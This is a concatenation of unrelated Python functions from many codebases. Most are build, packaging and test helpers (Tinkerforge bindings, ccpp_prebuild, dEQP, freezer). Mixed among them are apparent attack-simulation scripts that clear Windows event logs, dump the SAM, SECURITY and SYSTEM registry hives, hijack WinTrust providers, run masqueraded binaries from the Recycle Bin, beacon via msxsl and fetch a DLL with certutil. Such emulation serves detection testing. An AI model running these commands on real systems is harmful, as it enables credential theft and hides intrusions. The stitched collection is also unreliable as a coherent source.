def test_rest(): time.sleep(PAUSE * 5) get('basic', 'get/animation.levels') get('single', 'single/animation.levels') get('multi', 'multi?animation.levels=0') get('multi2', 'multi/animation?levels=0') time.sleep(PAUSE) get('basic', 'set/animation.levels[0]/0', method='PUT') time.sleep(PAUSE) put('single', 'single/animation.levels[1]', {'value': 0}) time.sleep(PAUSE) common.execute('kill', '-hup', str(pid_context.get_pid())) time.sleep(PAUSE) data = { 'animation.levels[0]': 1, 'animation.levels[1]': 1, 'animation.master': 0.5 } put('multi', 'multi', data) time.sleep(PAUSE) put('multi', 'multi/animation', {'levels[0]': 0, 'master': 1.0}) time.sleep(PAUSE) put('multi', 'multi/animation', {'levels': '[1, 1, 1]'}) time.sleep(PAUSE)
def generate(root_dir): tmp_dir = os.path.join(root_dir, 'maven_package') tmp_src_main_java_dir = os.path.join(tmp_dir, 'src', 'main', 'java') tmp_unzipped_dir = os.path.join(tmp_dir, 'unzipped') # Make directories common.recreate_dir(tmp_dir) os.makedirs(tmp_src_main_java_dir) # Unzip version = common.get_changelog_version(root_dir) common.execute(['/usr/bin/unzip', '-q', os.path.join(root_dir, 'tinkerforge_java_bindings_{0}_{1}_{2}.zip'.format(*version)), '-d', tmp_unzipped_dir]) # Copy source shutil.copytree(os.path.join(tmp_unzipped_dir, 'source', 'com'), os.path.join(tmp_src_main_java_dir, 'com')) # Make pom.xml common.specialize_template(os.path.join(root_dir, 'pom.xml.template'), os.path.join(tmp_dir, 'pom.xml'), {'{{VERSION}}': '.'.join(version)}) # Make package with common.ChangedDirectory(tmp_dir): common.execute(['/usr/bin/mvn', 'clean', 'verify'])
def run(): common.test_prompt('demo') for i, demo in enumerate(('bloom', 'circle', 'cube', 'matrix')): if i: common.execute('bp', 'demo', demo, '--pl=3', '--simpixel=no') else: common.execute('bp', 'demo', demo, '--pl=3')
def main(): common.log("Clearing Windows Event Logs", "!") time.sleep(3) wevtutil = "wevtutil.exe" for log in ["security", "application", "system"]: common.execute([wevtutil, "cl", log])
def main(): """Main entrypoint for Melt, in normal usage, everything starts here.""" argv = sys.argv venv_prefix = common.get_venv_prefix() dir_name = common.get_config_dir() if len(argv) == 1: show_help() return 0 if argv[1] == 'pex': pex() return 0 if argv[1] == 'setup': setup() return 0 suffix = argv[1].split('.')[-1].lower() exts = '3gp,aac,ac3,adts,aif,aifc,caf,dts,dtshd,flac,gsm,m4a,mp3,mp4,mpa,oga,ogg,opus,ra,rif,wav' source_prefix = common.get_source_prefix() vpchain_command = '%s python %schain.py ' % (venv_prefix, source_prefix) if suffix in exts.split(','): cmd = '%s-examine "%s"' % (vpchain_command, argv[1]) common.execute(cmd) return 0 show_help() return -1
def stop_nginx(): try: print("Stopping nginx for standalone webserver") execute(["sudo", "nginx", "-s", "stop"]) except: print("Could not stop nginx. " "One possible cause is nginx was already stopped")
def clean_files(config, static): """Clean files created by ccpp_prebuild.py""" success = True logging.info('Performing clean ....') # Create list of files to remove, use wildcards where necessary files_to_remove = [ config['schemes_makefile'], config['schemes_cmakefile'], config['caps_makefile'], config['caps_cmakefile'], config['html_vartable_file'], config['latex_vartable_file'], ] if static: files_to_remove.append( os.path.join(config['caps_dir'], 'ccpp_*_cap.F90')) files_to_remove.append( os.path.join(config['static_api_dir'], '{api}.F90'.format(api=CCPP_STATIC_API_MODULE))) else: files_to_remove.append(os.path.join(config['caps_dir'], '*_cap.F90')) for target_file in config['target_files']: target_file_path = os.path.split(target_file)[0] files_to_remove.append( os.path.join(target_file_path, config['module_include_file'].format(set='*'))) files_to_remove.append( os.path.join(target_file_path, config['fields_include_file'].format(set='*'))) # Not very pythonic, but the easiest way w/o importing another Python module cmd = 'rm -vf {0}'.format(' '.join(files_to_remove)) execute(cmd) return success
def main(args=None): parser = argparse.ArgumentParser() parser.add_argument( '-s', '--sample', dest="sample", default=len(commands), type=int, help= "Number of commands to run, choosen at random from the list of enumeration commands" ) args = parser.parse_args(args) sample = min(len(commands), args.sample) if sample < len(commands): random.shuffle(commands) common.log("Running {} out of {} enumeration commands\n".format( sample, len(commands))) for command in commands[0:sample]: common.log("About to call {}".format(command)) if command in long_commands: common.execute(command, kill=True, timeout=15) common.log("[output surpressed]", log_type='-') else: common.execute(command)
def finish(self): root_dir = self.get_bindings_root_directory() # Copy IP Connection examples for example in common.find_examples(root_dir, '^Example.*\.java$'): shutil.copy(example[1], self.tmp_examples_dir) # Copy bindings and readme for filename in released_files + ['DeviceFactory.java']: shutil.copy(os.path.join(root_dir, 'bindings', filename), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'BrickDaemon.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'Device.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'DeviceBase.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'DeviceListener.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'IPConnection.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'IPConnectionBase.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'TinkerforgeException.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'TimeoutException.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'AlreadyConnectedException.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'NotConnectedException.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'CryptoException.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'TinkerforgeListener.java'), self.tmp_source_com_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'changelog.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, 'readme.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, '..', 'configs', 'license.txt'), self.tmp_dir) # Make manifest version = common.get_changelog_version(root_dir) with open(os.path.join(self.tmp_dir, 'manifest.txt'), 'wb') as f: f.write('Bindings-Version: {0}.{1}.{2}\n'.format(*version)) # Compile source with common.ChangedDirectory(self.tmp_dir): common.execute('/usr/bin/javac ' + '-Xlint ' + '-source 1.5 ' + '-target 1.5 ' + os.path.join(self.tmp_source_com_tinkerforge_dir, '*.java'), shell=True) # Make jar with common.ChangedDirectory(self.tmp_source_dir): common.execute(['/usr/bin/jar', 'cfm', os.path.join(self.tmp_dir, 'Tinkerforge.jar'), os.path.join(self.tmp_dir, 'manifest.txt'), 'com']) # Remove manifest os.remove(os.path.join(self.tmp_dir, 'manifest.txt')) # Remove classes for f in os.listdir(self.tmp_source_com_tinkerforge_dir): if f.endswith('.class'): os.remove(os.path.join(self.tmp_source_com_tinkerforge_dir, f)) # Make zip self.create_zip_file(self.tmp_dir)
def prepare(self): root_dir = self.get_bindings_root_directory() # Create directories common.recreate_directory(self.tmp_dir) os.makedirs(self.tmp_examples_dir) os.makedirs(self.tmp_source_dir) os.makedirs(self.tmp_build_dir) # Copy blockly and closure-library to build directory shutil.copytree(os.path.join(root_dir, '..', '..', 'tvpl-blockly'), self.tmp_build_blockly_dir, ignore=shutil.ignore_patterns('*/.git')) shutil.copytree(os.path.join(root_dir, '..', '..', 'tvpl-closure-library'), self.tmp_build_closure_library_dir, ignore=shutil.ignore_patterns('*/.git', '*_test.js')) # Copy css/, js/, index.html and programEditor.html shutil.copytree(os.path.join(root_dir, 'css'), os.path.join(self.tmp_source_dir, 'css')) shutil.copytree(os.path.join(root_dir, 'js'), os.path.join(self.tmp_source_dir, 'js')) shutil.copy(os.path.join(root_dir, 'index.html'), self.tmp_source_dir) shutil.copy(os.path.join(root_dir, 'programEditor.html'), self.tmp_source_dir) # Copy changelog.txt and readme.txt shutil.copy(os.path.join(root_dir, 'changelog.txt'),self.tmp_dir) shutil.copy(os.path.join(root_dir, 'readme.txt'),self.tmp_dir) # Generate JavaScript bindings with common.ChangedDirectory(os.path.join(root_dir, '..', 'javascript')): common.execute(['python', 'generate_javascript_bindings.py']) common.execute(['python', 'generate_javascript_zip.py']) shutil.copy(os.path.join(self.tmp_javascript_dir, 'browser', 'source', 'Tinkerforge.js'), os.path.join(self.tmp_source_dir, 'js', 'Tinkerforge.js'))
def clean_files(config): """Clean files created by ccpp_prebuild.py""" success = True logging.info('Performing clean ....') # Create list of files to remove, use wildcards where necessary files_to_remove = [ config['typedefs_makefile'], config['typedefs_cmakefile'], config['typedefs_sourcefile'], config['schemes_makefile'], config['schemes_cmakefile'], config['schemes_sourcefile'], config['caps_makefile'], config['caps_cmakefile'], config['caps_sourcefile'], config['html_vartable_file'], config['latex_vartable_file'], os.path.join(config['caps_dir'], 'ccpp_*_cap.F90'), os.path.join(config['static_api_dir'], '{api}.F90'.format(api=CCPP_STATIC_API_MODULE)), config['static_api_srcfile'], ] # Not very pythonic, but the easiest way w/o importing another Python module cmd = 'rm -vf {0}'.format(' '.join(files_to_remove)) execute(cmd) return success
def generate(bindings_root_directory): tmp_dir = os.path.join(bindings_root_directory, 'maven_package') tmp_src_main_java_dir = os.path.join(tmp_dir, 'src', 'main', 'java') tmp_unzipped_dir = os.path.join(tmp_dir, 'unzipped') # Make directories common.recreate_directory(tmp_dir) os.makedirs(tmp_src_main_java_dir) # Unzip version = common.get_changelog_version(bindings_root_directory) common.execute(['/usr/bin/unzip', '-q', os.path.join(bindings_root_directory, 'tinkerforge_java_bindings_{0}_{1}_{2}.zip'.format(*version)), '-d', tmp_unzipped_dir]) # Copy source shutil.copytree(os.path.join(tmp_unzipped_dir, 'source', 'com'), os.path.join(tmp_src_main_java_dir, 'com')) # Make pom.xml common.specialize_template(os.path.join(bindings_root_directory, 'pom.xml.template'), os.path.join(tmp_dir, 'pom.xml'), {'{{VERSION}}': '.'.join(version)}) # Make package with common.ChangedDirectory(tmp_dir): common.execute(['/usr/bin/mvn', 'clean', 'verify'])
def finish(self): root_dir = self.get_bindings_root_directory() # Copy IP Connection examples for example in common.find_examples(root_dir, '^Example.*\.vb$'): shutil.copy(example[1], self.tmp_examples_dir) # Copy bindings and readme for filename in released_files: shutil.copy(os.path.join(root_dir, 'bindings', filename), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, '..', 'csharp', 'IPConnection.cs'), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'changelog.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, 'readme.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, '..', 'configs', 'license.txt'), self.tmp_dir) # Make AssemblyInfo.cs version = common.get_changelog_version(root_dir) common.specialize_template(os.path.join(root_dir, '..', 'csharp', 'AssemblyInfo.cs.template'), os.path.join(self.tmp_source_tinkerforge_dir, 'AssemblyInfo.cs'), {'<<BINDINGS>>': 'Visual Basic .NET', '<<VERSION>>': '.'.join(version)}) # Make dll with common.ChangedDirectory(self.tmp_dir): common.execute(['/usr/bin/gmcs', '/optimize', '/target:library', '/out:' + os.path.join(self.tmp_dir, 'Tinkerforge.dll'), '/doc:' + os.path.join(self.tmp_dir, 'Tinkerforge.xml'), os.path.join(self.tmp_source_tinkerforge_dir, '*.cs')]) # Make zip self.create_zip_file(self.tmp_dir)
def run_from_directory(target_program, directory): common.log("Running %s out of %s" % (target_program, directory)) temp_path = os.path.join(directory, "temp-app.exe") common.copy_file(target_program, temp_path) common.execute([temp_path]) common.remove_file(temp_path)
def test_rest(): time.sleep(PAUSE * 5) get('basic', 'get/animation.levels') get('single', 'single/animation.levels') get('multi', 'multi?animation.levels=0') get('multi2', 'multi/animation?levels=0') time.sleep(PAUSE) get('basic', 'set/animation.levels[0]/0', method='PUT') time.sleep(PAUSE) put('single', 'single/animation.levels[1]', {'value': 0}) time.sleep(PAUSE) common.execute('kill', '-hup', str(pid_context.get_pid())) time.sleep(PAUSE) data = {'animation.levels[0]': 1, 'animation.levels[1]': 1, 'animation.master': 0.5} put('multi', 'multi', data) time.sleep(PAUSE) put('multi', 'multi/animation', {'levels[0]': 0, 'master': 1.0}) time.sleep(PAUSE) put('multi', 'multi/animation', {'levels': '[1, 1, 1]'}) time.sleep(PAUSE)
def gen_bct(bootloader, bct): bct_config = generated() + "bct.cfg" #./bct_dump ./ac100.bct.orig > bct.cfg res = execute(bct_dump() + " " + bct + " > " + bct_config) if res != 0: return res, None # Add bootloader at the end of bct.cfg res = execute("echo 'BootLoader = " + bootloader + ",0x00108000,0x00108000,Complete;' >> " + bct_config) if res != 0: return res, None new_bct = generated() + "ac100.bct" #./cbootimage -d ./bct.cfg ac100.bct.new res = execute(cbootimage() + " -d " + bct_config + " " + new_bct) if res != 0: return res, None res = execute("truncate " + new_bct + " -s 4080") if res != 0: return res, None return 0, new_bct
def main(): common.log("Execute files from the Recycle Bin") target_dir = None for recycle_path in RECYCLE_PATHS: if os.path.exists(recycle_path): target_dir = common.find_writeable_directory(recycle_path) if target_dir: break else: common.log("Could not find a writeable directory in the recycle bin") exit(1) commands = [ [TARGET_APP], [common.CMD_PATH, "/c", "echo hello world"], ] common.log("Running commands from recycle bin in %s" % target_dir) for command in commands: # type: list[str] source_path = command[0] arguments = command[1:] target_path = os.path.join(target_dir, "recycled_process.exe") common.copy_file(source_path, target_path) arguments.insert(0, target_path) common.execute(arguments) time.sleep(2) common.remove_file(target_path)
def finish(self): root_dir = self.get_bindings_root_directory() # Copy IP Connection examples for example in common.find_examples(root_dir, '^Example.*\.cs$'): shutil.copy(example[1], self.tmp_examples_dir) # Copy bindings and readme for filename in released_files: shutil.copy(os.path.join(root_dir, 'bindings', filename), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'IPConnection.cs'), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'project.json'), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'project.lock.json'), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'TinkerforgeUWP.rd.xml'), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'changelog.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, 'readme.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, '..', 'configs', 'license.txt'), self.tmp_dir) # Make AssemblyInfo.cs version = common.get_changelog_version(root_dir) common.specialize_template(os.path.join(root_dir, 'AssemblyInfo.cs.template'), os.path.join(self.tmp_source_tinkerforge_dir, 'AssemblyInfo.cs'), {'<<BINDINGS>>': 'C#', '<<VERSION>>': '.'.join(version)}) # Make Tinkerforge(UWP).csproj project_items = [] for filename in ['AssemblyInfo.cs', 'IPConnection.cs'] + released_files: project_items.append('<Compile Include="{0}" />'.format(filename)) common.specialize_template(os.path.join(root_dir, 'Tinkerforge.csproj.template'), os.path.join(self.tmp_source_tinkerforge_dir, 'Tinkerforge.csproj'), {'{{TOOLS_VERSION}}': '2.0', '{{ITEMS}}': '\n '.join(project_items)}) common.specialize_template(os.path.join(root_dir, 'TinkerforgeUWP.csproj.template'), os.path.join(self.tmp_source_tinkerforge_dir, 'TinkerforgeUWP.csproj'), {'{{ITEMS}}': '\n '.join(project_items)}) # Make dll with common.ChangedDirectory(self.tmp_source_tinkerforge_dir): common.execute(['xbuild', '/p:Configuration=Release', os.path.join(self.tmp_source_tinkerforge_dir, 'Tinkerforge.csproj')]) release_dir = os.path.join(self.tmp_source_tinkerforge_dir, 'bin', 'Release') shutil.copy(os.path.join(release_dir, 'Tinkerforge.dll'), self.tmp_dir) shutil.copy(os.path.join(release_dir, 'Tinkerforge.dll.mdb'), self.tmp_dir) shutil.copy(os.path.join(release_dir, 'Tinkerforge.xml'), self.tmp_dir) shutil.rmtree(os.path.join(self.tmp_source_tinkerforge_dir, 'bin')) shutil.rmtree(os.path.join(self.tmp_source_tinkerforge_dir, 'obj')) # Make zip self.create_zip_file(self.tmp_dir)
def finish(self): root_dir = self.get_root_dir() # Copy IP Connection examples if self.get_config_name().space == 'Tinkerforge': for example in common.find_examples(root_dir, r'^Example.*\.cs$'): shutil.copy(example[1], self.tmp_examples_dir) # Copy bindings and readme for filename in self.get_released_files(): shutil.copy(os.path.join(self.get_bindings_dir(), filename), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(self.get_bindings_dir(), filename), self.tmp_source_tinkerforge_uwp_dir) shutil.copy(os.path.join(root_dir, 'IPConnection.cs'), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'IPConnection.cs'), self.tmp_source_tinkerforge_uwp_dir) shutil.copy(os.path.join(root_dir, 'project.json'), self.tmp_source_tinkerforge_uwp_dir) shutil.copy(os.path.join(root_dir, 'project.lock.json'), self.tmp_source_tinkerforge_uwp_dir) shutil.copy(os.path.join(root_dir, 'TinkerforgeUWP.rd.xml'), self.tmp_source_tinkerforge_uwp_dir) shutil.copy(os.path.join(root_dir, 'changelog.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, 'readme.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, '..', 'configs', 'license.txt'), self.tmp_dir) # Make AssemblyInfo.cs version = self.get_changelog_version() for target_dir in [self.tmp_source_tinkerforge_dir, self.tmp_source_tinkerforge_uwp_dir]: common.specialize_template(os.path.join(root_dir, 'AssemblyInfo.cs.template'), os.path.join(target_dir, 'AssemblyInfo.cs'), {'<<BINDINGS>>': 'C#', '<<VERSION>>': '.'.join(version)}) # Make Tinkerforge(UWP).csproj project_items = [] for filename in ['AssemblyInfo.cs', 'IPConnection.cs'] + self.get_released_files(): project_items.append('<Compile Include="{0}" />'.format(filename)) common.specialize_template(os.path.join(root_dir, 'Tinkerforge.csproj.template'), os.path.join(self.tmp_source_tinkerforge_dir, 'Tinkerforge.csproj'), {'{{ITEMS}}': '\n '.join(project_items)}) common.specialize_template(os.path.join(root_dir, 'TinkerforgeUWP.csproj.template'), os.path.join(self.tmp_source_tinkerforge_uwp_dir, 'TinkerforgeUWP.csproj'), {'{{ITEMS}}': '\n '.join(project_items)}) # Make dll with common.ChangedDirectory(self.tmp_dir): common.execute(['mcs', '/debug:full', '/optimize+', '/warn:4', '/sdk:2', '/target:library', '/doc:' + os.path.join(self.tmp_dir, 'Tinkerforge.xml'), '/out:' + os.path.join(self.tmp_dir, 'Tinkerforge.dll'), os.path.join(self.tmp_source_tinkerforge_dir, '*.cs')]) # Make zip self.create_zip_file(self.tmp_dir)
def finish(self): root_dir = self.get_root_dir() # Copy IP Connection examples if self.get_config_name().space == 'Tinkerforge': for example in common.find_examples(root_dir, r'^example_.*\.rb$'): shutil.copy(example[1], self.tmp_examples_dir) # Copy bindings and readme for filename in self.get_released_files(): shutil.copy(os.path.join(self.get_bindings_dir(), filename), self.tmp_source_lib_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'ip_connection.rb'), self.tmp_source_lib_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'changelog.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, 'readme.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, '..', 'configs', 'license.txt'), self.tmp_dir) # Make version.rb version = self.get_changelog_version() with open(os.path.join(self.tmp_source_lib_tinkerforge_dir, 'version.rb'), 'w') as f: f.write(""" module Tinkerforge VERSION = '{0}.{1}.{2}' end """.format(*version)) # Make tinkerforge.rb with open(os.path.join(self.tmp_source_lib_dir, 'tinkerforge.rb'), 'w') as f: f.write(""" require 'tinkerforge/version' module Tinkerforge end """) # Make tinkerforge.gemspec tmp_gemspec = os.path.join(self.tmp_source_dir, 'tinkerforge.gemspec') common.specialize_template(os.path.join(root_dir, 'tinkerforge.gemspec.template'), tmp_gemspec, {'<<VERSION>>': '.'.join(version)}) # Make gem with common.ChangedDirectory(self.tmp_source_dir): common.execute(['gem', 'build', 'tinkerforge.gemspec']) # Remove build stuff tmp_gem = os.path.join(self.tmp_source_dir, 'tinkerforge-{0}.{1}.{2}.gem'.format(*version)) os.remove(tmp_gemspec) shutil.copy(tmp_gem, root_dir) shutil.move(tmp_gem, os.path.join(self.tmp_dir, 'tinkerforge.gem')) shutil.move(os.path.join(self.tmp_source_lib_dir, 'tinkerforge.rb'), self.tmp_source_dir) shutil.move(self.tmp_source_lib_tinkerforge_dir, os.path.join(self.tmp_source_dir, 'tinkerforge')) shutil.rmtree(self.tmp_source_lib_dir) # Make zip self.create_zip_file(self.tmp_dir)
def main(): anomalies = ["evil.com", "bad.pif", "evil.cmd", "weird.scr"] for path in anomalies: common.log("Masquerading python as %s" % path) common.copy_file(MY_APP, path) common.execute([path]) common.remove_file(path)
def main(): apa = argparse.ArgumentParser() apa.add_argument("command", nargs=1, help="command to execute") # subset of arguments accepted by miniooni apa.add_argument("-n", "--no-collector", action="count", help="don't submit measurement") apa.add_argument("-o", "--reportfile", help="specify report file to use") apa.add_argument("-i", "--input", help="input for nettests taking an input") apa.add_argument("--home", help="override home directory") apa.add_argument("nettest", nargs=1, help="nettest to run") out = apa.parse_args() command, nettest = out.command[0], out.nettest[0] if "miniooni" not in command and "measurement_kit" not in command: raise RuntimeError("unrecognized tool") args = [] args.append(command) if "miniooni" in command: args.extend(["--yes"]) # make sure we have informed consent if "measurement_kit" in command: args.extend([ "--ca-bundle-path", file_must_exist("{}/.miniooni/assets/ca-bundle.pem".format( out.home)), ]) args.extend([ "--geoip-country-path", file_must_exist("{}/.miniooni/assets/country.mmdb".format( out.home)), ]) args.extend([ "--geoip-asn-path", file_must_exist("{}/.miniooni/assets/asn.mmdb".format(out.home)), ]) if out.home and "miniooni" in command: args.extend(["--home", out.home]) # home applies to miniooni only if out.input: if "miniooni" in command: args.extend(["-i", out.input]) # input is -i for miniooni if out.no_collector: args.append("-n") if out.reportfile: args.extend(["-o", out.reportfile]) args.append(nettest) if out.input and "measurement_kit" in command: if nettest == "web_connectivity": args.extend(["-u", out.input]) # MK's Web Connectivity uses -u for input sys.stderr.write("minioonilike.py: {}\n".format(shlex.join(args))) common.execute(args)
def main(): common.log("Trust Provider") set_final_policy(TRUST_PROVIDER_DLL, "FinalPolicy") common.log("Launching sigcheck") common.execute([SIGCHECK, "-accepteula", TARGET_APP]) common.log("Cleaning up") set_final_policy("C:\\Windows\\System32\\WINTRUST.dll", "SoftpubAuthenticode")
def obtain_cert(cert_cmd): try: print("Attempting to obtain certs") print("Using following command: {}".format(''.join( elem + " " for elem in cert_cmd))) execute(cert_cmd) except: print("Something happened while trying to obtain certificate. " "You can try to run the above command to try to find out why")
def buildApp (isRelease): appDir = os.path.join(common.ANDROID_DIR, "package") # Set up app os.chdir(appDir) common.execute("%s update project --name dEQP --path . --target %s" % (common.shellquote(common.ANDROID_BIN), common.ANDROID_JAVA_API)) # Build common.execute("%s %s" % (common.shellquote(common.ANT_BIN), "release" if isRelease else "debug"))
def obtain_cert(cert_cmd): try: print("Attempting to obtain certs") print("Using following command: {}" .format(''.join(elem+" " for elem in cert_cmd))) execute(cert_cmd) except: print("Something happened while trying to obtain certificate. " "You can try to run the above command to try to find out why")
def buildNative (nativeLib, buildType): deqpDir = os.path.normpath(os.path.join(common.ANDROID_DIR, "..")) buildDir = getNativeBuildDir(nativeLib, buildType) assetsDir = os.path.join(buildDir, "assets") libsDir = os.path.join(common.ANDROID_DIR, "package", "libs", nativeLib.abiVersion) srcLibFile = os.path.join(buildDir, "libtestercore.so") dstLibFile = os.path.join(libsDir, "lib%s.so" % nativeLib.libName) # Remove old lib files if such exist if os.path.exists(srcLibFile): os.unlink(srcLibFile) if os.path.exists(dstLibFile): os.unlink(dstLibFile) # Remove assets directory so that we don't collect unnecessary cruft to the APK if os.path.exists(assetsDir): shutil.rmtree(assetsDir) # Make build directory if necessary if not os.path.exists(buildDir): os.makedirs(buildDir) os.chdir(buildDir) common.execArgs([ 'cmake', '-G%s' % common.CMAKE_GENERATOR, '-DCMAKE_TOOLCHAIN_FILE=%s/framework/delibs/cmake/toolchain-android-%s.cmake' % (deqpDir, common.ANDROID_NDK_TOOLCHAIN_VERSION), '-DANDROID_NDK_HOST_OS=%s' % common.ANDROID_NDK_HOST_OS, '-DANDROID_NDK_PATH=%s' % common.ANDROID_NDK_PATH, '-DANDROID_ABI=%s' % nativeLib.abiVersion, '-DDE_ANDROID_API=%s' % nativeLib.apiVersion, '-DCMAKE_BUILD_TYPE=%s' % buildType, '-DDEQP_TARGET=android', deqpDir ]) os.chdir(buildDir) common.execute(common.BUILD_CMD) if not os.path.exists(libsDir): os.makedirs(libsDir) # Copy libtestercore.so shutil.copyfile(srcLibFile, dstLibFile) # Copy gdbserver for debugging if buildType.lower() == "debug": if nativeLib.abiVersion == "x86": shutil.copyfile(os.path.join(common.ANDROID_NDK_PATH, "prebuilt/android-x86/gdbserver/gdbserver"), os.path.join(libsDir, "gdbserver")) elif nativeLib.abiVersion == "armeabi-v7a": shutil.copyfile(os.path.join(common.ANDROID_NDK_PATH, "prebuilt/android-arm/gdbserver/gdbserver"), os.path.join(libsDir, "gdbserver")) else: print("Unknown ABI. Won't copy gdbserver to package") elif os.path.exists(os.path.join(libsDir, "gdbserver")): # Make sure there is no gdbserver if build is not debug build os.unlink(os.path.join(libsDir, "gdbserver"))
def main(): common.log("Registering SIP provider") register_sip_provider(TRUST_PROVIDER_DLL, "VerifyFunction", "GetSignature") common.log("Launching sigcheck") common.execute([SIGCHECK, "-accepteula", TARGET_APP]) common.log("Cleaning up", log_type="-") wintrust = "C:\\Windows\\System32\\WINTRUST.dll" register_sip_provider(wintrust, "CryptSIPVerifyIndirectData", "CryptSIPGetSignedDataMsg")
def main(): for hive in ["sam", "security", "system"]: filename = os.path.abspath("%s.reg" % hive) common.log("Exporting %s hive to %s" % (hive, filename)) common.execute( [REG, "save", "hkey_local_machine\\%s" % hive, filename]) common.remove_file(filename) common.execute([REG, "save", "hklm\\%s" % hive, filename]) common.remove_file(filename)
def main(): common.log("MsXsl Beacon") server, ip, port = common.serve_web() common.clear_web_cache() new_callback = "http://%s:%d" % (ip, port) common.log("Updating the callback to %s" % new_callback) common.patch_regex(XSL_FILE, common.CALLBACK_REGEX, new_callback) common.execute([MS_XSL, XML_FILE, XSL_FILE]) server.shutdown()
def client(cls, test_dir): """ For nfs client: remove `test_dir`, stop all the installed `NFS_UTILS` and then remove them """ remove = common.execute(['rm', '-r', test_dir], collect=True) for util in NFS_UTILS: common.execute(["service", util, "stop"], collect=True) for util in NFS_UTILS: util_rem = common.execute([PACKAGE_MANAGER, 'remove', '-y', util], collect=True) return remove[2] and util_rem[2]
def test_backup_os_simple(self): self.source_tree.add_random_data() self.assertTreesMatchNot() backup_args = { 'action': 'backup', 'mode': 'fs', 'path_to_backup': self.source_tree.path, 'max_level': '6', 'max_segment_size': '67108864', 'backup_name': uuid.uuid4().hex, 'storage': 'swift', 'container': 'freezer_test_backups_{0}'.format(uuid.uuid4().hex), 'metadata_out': '-' } restore_args = { 'action': 'restore', 'restore_abs_path': self.dest_tree.path, 'backup_name': copy(backup_args['backup_name']), 'storage': 'swift', 'container': copy(backup_args['container']), } remove_args = { 'action': 'admin', 'remove_older_than': 0, 'backup_name': copy(backup_args['backup_name']), 'storage': 'swift', 'container': copy(backup_args['container']), } # --- backup result = common.execute(FREEZERC + self.dict_to_args(backup_args)) self.assertIsNotNone(result) result = json.loads(result) self.assertIn('backup_name', result) self.assertEquals(result['backup_name'], backup_args['backup_name']) self.assertIn('container', result) self.assertEquals(result['container'], backup_args['container']) # It may be reasonable to insert a check of the files in the # swift container # file_list = self.get_file_list_openstack(result['container']) # --- restore result = common.execute(FREEZERC + self.dict_to_args(restore_args)) self.assertIsNotNone(result) self.assertTreesMatch() # --- remove backups and container result = common.execute(FREEZERC + self.dict_to_args(remove_args)) self.assertIsNotNone(result) result = self.remove_swift_container(backup_args['container']) self.assertIsNotNone(result)
def finish(self): root_dir = self.get_root_dir() # Copy IP Connection examples if self.get_config_name().space == 'Tinkerforge': for example in common.find_examples(root_dir, r'^Example.*\.php$'): shutil.copy(example[1], self.tmp_examples_dir) # Copy bindings and readme package_files = [ '<file name="Tinkerforge/IPConnection.php" role="php" />' ] for filename in self.get_released_files(): shutil.copy(os.path.join(self.get_bindings_dir(), filename), self.tmp_source_tinkerforge_dir) package_files.append( '<file name="Tinkerforge/{0}" role="php" />'.format( os.path.basename(filename))) shutil.copy(os.path.join(root_dir, 'IPConnection.php'), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'changelog.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, 'readme.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, '..', 'configs', 'license.txt'), self.tmp_dir) # Make package.xml version = self.get_changelog_version() date = datetime.datetime.now().strftime("%Y-%m-%d") common.specialize_template( os.path.join(root_dir, 'package.xml.template'), os.path.join(self.tmp_source_dir, 'package.xml'), { '{{VERSION}}': '.'.join(version), '{{DATE}}': date, '{{FILES}}': '\n '.join(package_files) }) # Make PEAR package with common.ChangedDirectory(self.tmp_source_dir): common.execute(['/usr/bin/pear', 'package', 'package.xml']) # Remove build stuff shutil.move( os.path.join(self.tmp_source_dir, 'Tinkerforge-{0}.{1}.{2}.tgz'.format(*version)), os.path.join(self.tmp_dir, 'Tinkerforge.tgz')) os.remove(os.path.join(self.tmp_source_dir, 'package.xml')) # Make zip self.create_zip_file(self.tmp_dir)
def main(): # http server will terminate on main thread exit # if daemon is True server, ip, port = common.serve_web() uri = "bin/mydll.dll" target_file = "mydll.dll" common.clear_web_cache() url = "http://{ip}:{port}/{uri}".format(ip=ip, port=port, uri=uri) common.execute(["certutil.exe", "-urlcache", "-split", "-f", url, target_file]) server.shutdown() common.remove_file(target_file)
